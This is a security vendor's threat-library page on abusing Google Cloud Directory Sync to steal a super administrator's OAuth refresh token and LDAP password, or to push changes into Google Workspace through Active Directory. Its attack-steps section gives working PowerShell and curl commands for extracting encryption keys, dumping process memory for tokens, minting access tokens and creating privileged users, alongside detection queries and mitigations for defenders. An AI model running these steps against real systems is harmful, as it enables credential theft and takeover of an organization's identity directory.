1. Resources
  2. Identity Threats
  3. Google Workspace

Google Cloud Directory Sync (GCDS) Abuse

Also known as: GCDS abuse, GCDS token theft, Google Cloud Directory Sync credential theft, AD to Google Workspace sync abuse

An attacker who controls the GCDS server, its saved configuration or the Active Directory objects it reads can create, change and suspend Google Workspace users and groups.

Platform
Google Workspace
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
Local administrator (or the sync account's session) on the GCDS server, or write access to the AD users and groups that GCDS synchronizes.
What the attacker gains
A super administrator's OAuth refresh token for the Directory API, the LDAP bind password, and control over which users and group members exist in Google.
Threat groups
APT28APT29ShinyHuntersTeamPCPAPT3APT33APT38APT5Ember BearFIN13Fox KittenHAFNIUMIndrik SpiderKe3changand 13 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1528, T1552.001, T1136.003, T1078.004.

How it works

Google Cloud Directory Sync (GCDS) is a utility that an organization runs on its own server to copy users, aliases, groups and shared contacts from Active Directory or another LDAP directory into Google Workspace or Cloud Identity. The synchronization is one way. GCDS reads the directory, compares the result with the Google account, and changes Google to match. It never writes to the LDAP server.

Three identities take part in every run, and they are usually three different accounts:

  • The Windows (or Linux) account that runs the job. After setup, synchronization runs from a scheduler through the sync-cmd command.
  • The LDAP bind account. It needs read access to every organizational unit that is synchronized.
  • The Google account that authorized GCDS. Google's setup instructions have a super administrator sign in from Configuration Manager; GCDS then stores an OAuth token and uses it for every later run.

GCDS keeps its settings in an XML configuration file. The LDAP bind password and the OAuth refresh token are stored in that file in encrypted form. Google states that the symmetric key is generated by GCDS and stored through Java's Preferences class: in the user's registry hive on Windows, in the home directory on Linux. Google's own best practice note spells out the consequence: an attacker who gets both the XML file and the key can recover the credentials. Everything needed is on one host, under one user profile.

That gives three ways to abuse the product:

  • Steal the Google authorization. The refresh token was granted by a super administrator. Public research shows the configuration file listing Directory API scopes for users, groups, organizational units and user schemas, the Groups Settings API and licensing. A token with those scopes creates users, resets passwords and edits group membership.
  • Steal the LDAP bind credential. The account only needs read access. Where a privileged domain account was used instead, the recovered password is worth far more.
  • Control what GCDS reads. GCDS trusts the directory. A person who can create users in a synchronized OU, change a user's mail attribute, or change the membership of a synchronized group edits Google Workspace indirectly. GCDS matches LDAP users to Google users by email address, so an address planted on an attacker's object can collide with an existing Google account. Removing objects from scope, or editing the search and exclusion rules, makes GCDS suspend or delete the matching Google users.

The directory half of the attack is the Google counterpart of abusing the Entra Connect sync account.

Prerequisites

One of the following:

  • Local administrator rights on the GCDS server, or code execution as the Windows user whose profile holds the GCDS configuration and encryption key.
  • Read access to a copy of the XML configuration file together with the key material (for example from a backup of the user profile).
  • Write access in Active Directory to objects inside the search rules: the right to create users in a synchronized OU, to write the email address attribute, or to manage a synchronized group.

And on the target side:

  • GCDS is installed and authorized. The default installation folder on Windows is C:\Program Files\Google Cloud Directory Sync.
  • For the token path: the grant has not been revoked by the super administrator who gave it.
  • For the directory path: a scheduled synchronization that applies changes (sync-cmd -a).

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find GCDS and its configuration files

# Installation folder
Test-Path 'C:\Program Files\Google Cloud Directory Sync'

# Configuration files recently opened in Configuration Manager (per user)
Get-ItemProperty 'HKCU:\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui' |
    Select-Object 'open.recent'

# The scheduled job shows which account runs the sync and which XML file it loads
schtasks /query /fo LIST /v | findstr /i "sync-cmd"

WinPEAS automates the same checks: it detects the installation, lists the recent configuration files and collects the encrypted fields and the registry values that hold the key.

2. Read the encrypted secrets and the key

The fields of interest in the XML file are the Google authorization and the LDAP connection:

<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>BASE64-ENCRYPTED-VALUE</oAuth2RefreshToken>
<oAuth2Scopes>
  <scope>https://www.googleapis.com/auth/admin.directory.user</scope>
  <scope>https://www.googleapis.com/auth/admin.directory.group</scope>
  <scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
</oAuth2Scopes>
<hostname>DC01.corp.example.com</hostname>
<basedn>dc=corp,dc=example,dc=com</basedn>
<authUser>CORP\svc-gcds</authUser>
<authCredentialsEncrypted>BASE64-ENCRYPTED-VALUE</authCredentialsEncrypted>

On the versions that public research examined, both values are AES-CBC ciphertext, and the key and IV sit as Base64 strings in the registry of the user who saved the file:

# Run as the user that owns the GCDS configuration
Get-ItemProperty 'HKCU:\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util' |
    Select-Object '/Encryption/Policy/V2.key', '/Encryption/Policy/V2.iv'

GCDS also ships a supported way to take the key out, intended for moving a configuration to a server without a GUI:

cd "C:\Program Files\Google Cloud Directory Sync"
upgrade-config -exportkeys

With the key and IV, the two Base64 values decrypt with any AES-CBC implementation to the refresh token and the LDAP password.

If Configuration Manager is open, the secrets may also be in its memory. A full dump of the process can be searched for the token prefixes ya29. (access token) and 1// (refresh token):

$id = (Get-Process -Name 'config-manager').Id
.\procdump.exe -accepteula -ma $id C:\Windows\Temp\cm.dmp
.\strings.exe -accepteula -n 50 -nobanner C:\Windows\Temp\cm.dmp | Select-String 'ya29\.|1//'

3. Turn the refresh token into an access token

A refresh token is bound to the OAuth client that received it, so the request carries the client ID and secret of the GCDS application, which public research has published.

curl -s https://oauth2.googleapis.com/token \
  --data "client_id=<GCDS_CLIENT_ID>" \
  --data "client_secret=<GCDS_CLIENT_SECRET>" \
  --data "grant_type=refresh_token" \
  --data "refresh_token=<REFRESH_TOKEN>"

The scope field of the response lists what the token can do. It can't be widened beyond the scopes of the original grant.

4. Act in Google Workspace with the token

# Create a user
curl -s -X POST https://admin.googleapis.com/admin/directory/v1/users \
  -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"primaryEmail":"svc-backup@corp.example.com",
       "name":{"givenName":"Backup","familyName":"Service"},
       "password":"<PASSWORD>","changePasswordAtNextLogin":false}'

# Add the user to a group that holds Google Cloud IAM roles
curl -s -X POST https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@corp.example.com/members \
  -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"email":"svc-backup@corp.example.com","role":"MEMBER"}'

The admin.directory.user scope also covers users.update (which sets a password) and users.makeAdmin (which makes a user a super administrator), because the token acts with the authority of the super administrator who granted it.

5. Variant: edit the directory and let GCDS do the work

No access to the GCDS server is needed when the attacker can write to synchronized objects:

# Add an account to a synchronized group whose Google copy carries privileges
Add-ADGroupMember -Identity 'gcp-organization-admins' -Members alice

# Give a controlled object the email address GCDS uses for matching
Set-ADUser -Identity 'svc-sql' -EmailAddress 'finance-director@corp.example.com'

The change reaches Google at the next scheduled run. With access to the server, the run can be started at once. Without -a the command only simulates:

sync-cmd -c C:\Users\svc-gcds\gcds-config.xml
sync-cmd -a -o -c C:\Users\svc-gcds\gcds-config.xml

Impact

The refresh token is a super administrator's delegated authority over the directory. With it the attacker creates accounts, resets passwords of existing users and signs in as them, adds members to groups, and can promote an account to super administrator. That is privilege escalation from one Windows server to control of the Google Workspace organization, and through groups that hold IAM roles into Google Cloud.

The token keeps working after the attacker loses the server. Google revokes refresh tokens on a password change only when they contain Gmail scopes, which the GCDS grant does not, so changing the super administrator's password is not enough; the grant has to be removed.

The LDAP bind password gives a foothold in Active Directory with whatever rights that account has.

The directory variant is quieter and can be destructive: deleting or moving objects out of scope makes GCDS suspend or delete the matching Google accounts, within the configured delete limits.

OPSEC and artifacts

  • Reading the configuration instead of dumping memory. Reading an XML file and two registry values as the owning user writes no security event unless object access auditing covers that file and key. Running procdump against config-manager.exe is louder: with process creation auditing it leaves event 4688 and a dump file on disk.
  • Using the token away from the server. API calls made with the stolen token are recorded in the Workspace admin audit log under the account that authorized GCDS. The operator can't change the actor, but the caller IP address is no longer the GCDS server's.
  • Blending with the sync. Changes made through Active Directory arrive in Google inside a normal GCDS run and look exactly like legitimate synchronization. The trace is on the AD side: event 4728 for the group membership, and directory change events for the edited mail attribute.
  • What stays behind in Google. Every created user, password change, suspension and deletion is an admin audit event, for example createUser, suspendUser and deleteUser.
  • What stays behind on the server. GCDS writes a log for each run, and a scheduler change (a new task, a changed command line or a different run-as account) is visible in the task history.

Detection

  • The GCDS identity acting from the wrong place. The account that authorized GCDS should make directory changes only from the GCDS server's address and only on the synchronization schedule. Alert on admin audit events by that account from any other address, or outside the schedule.
logName="organizations/000000000000/logs/cloudaudit.googleapis.com%2Factivity"
protoPayload.serviceName="admin.googleapis.com"
protoPayload.authenticationInfo.principalEmail="gcds-admin@corp.example.com"
NOT protoPayload.requestMetadata.callerIp="192.0.2.25"
  • Operations GCDS never performs. The GCDS identity assigning an admin role or resetting the password of an existing user is not synchronization. See the rules for admin role assignments and user account creation.
  • Bursts of suspensions or deletions. A scope or rule change shows up as many accounts suspended in one run. The mass suspension or deletion rule covers it.
  • Run results. sync-cmd exits with 0 when a run completes without issues and with 255 when a run finished with problems such as an exceeded limit or a failed user. Collect the exit code and the log, and alert on repeated rejected objects.
  • On the server. Watch process creation for procdump, strings or upgrade-config -exportkeys on the GCDS host, access to the configuration files by any account other than the sync account, and changes to the scheduled task.
  • In Active Directory. Review membership changes of every synchronized group that has privileges in Google, and changes of the email address attribute on accounts inside the search rules.

Mitigation

  • Treat the GCDS server as a Tier 0 system. It holds a super administrator's authorization. Limit who can sign in, keep it off general-purpose servers, and put the profile that holds the configuration on an encrypted file system with restrictive ACLs, as Google recommends.
  • Use a dedicated super administrator account for the authorization, used for nothing else, so its activity is easy to baseline. Revoke and renew the grant on a schedule: remove Google Cloud Directory Sync from the account's list of apps with access, then authorize again.
  • Give the LDAP account read access only, limited to the organizational units being synchronized. Use LDAP over SSL for the connection; the LDAP signing and channel binding guide covers the domain controller side.
  • Protect the objects GCDS reads. Limit who can create users in synchronized OUs, write the email address attribute, and manage synchronized groups. A group whose Google copy holds admin or IAM roles needs the same protection as a privileged AD group.
  • Keep the safety nets on. Suspend rather than delete users that are missing from LDAP, set delete limits, keep the default that leaves Google administrator accounts alone when they are not in LDAP, and run a simulation after every rule change.
  • Review rule changes. A change to search rules, exclusion rules or the email address attribute should go through a scope comparison before the next applied run.
  • After a suspected compromise: revoke the grant, authorize again from a rebuilt host, change the LDAP bind password, and review every admin audit event of the authorizing account for the exposure period.

Detection rules for this attack

Log events to collect

FAQ

What does an attacker get from a GCDS server?

The saved configuration holds an OAuth refresh token that a Google Workspace super administrator authorized, and the password of the LDAP account GCDS binds with. Both are encrypted, but the key is stored in the same Windows user's registry hive, so anyone who controls that user or the server can recover them.

Does GCDS synchronize passwords or change Active Directory?

No. GCDS is a one-way synchronization from LDAP to Google and never writes to the LDAP server. It can't read existing AD passwords; its password settings only decide how the first password of a new Google account is created. Password Sync is the separate product for AD password changes.

Can an attacker abuse GCDS without touching the GCDS server?

Yes. GCDS copies what it finds in the directory. Someone who can create users in a synchronized OU, edit the mail attribute, or add members to a synchronized group changes Google Workspace at the next run, and the change appears in Google's logs as the work of the account that authorized GCDS.

How do you revoke a stolen GCDS token?

Sign in as the super administrator that authorized GCDS, open the list of apps with access to the account, select Google Cloud Directory Sync and remove access. Then authorize GCDS again from Configuration Manager on a clean host and change the LDAP bind account's password.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.